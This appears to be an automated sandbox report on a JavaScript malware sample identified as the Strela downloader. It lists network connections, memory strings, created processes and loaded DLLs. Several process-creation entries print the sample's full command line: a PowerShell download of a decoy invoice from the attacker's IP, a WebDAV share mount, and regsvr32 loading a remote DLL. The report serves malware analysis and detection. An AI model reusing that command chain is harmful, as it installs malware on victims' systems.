HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1370419079.000002297403B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1429491644.000001EF2B038000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1429491644.000001EF2B08B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1429491644.000001EF2B06C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1429491644.000001EF2B06C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.
Source: net.exe, 00000007.00000002.1429491644.000001EF2B06C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/V
Source: net.exe, 00000007.00000002.1429491644.000001EF2B06C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/b
Source: net.exe, 00000007.00000002.1429491644.000001EF2B038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000009.00000002.2657888926.00000299B1600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1431815558.00000299B1800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7432, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 293816234142143228.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yh24mdhx.gt2.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\293816234142143228.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,3214176902867615900,6819842971302672721,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,3214176902867615900,6819842971302672721,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
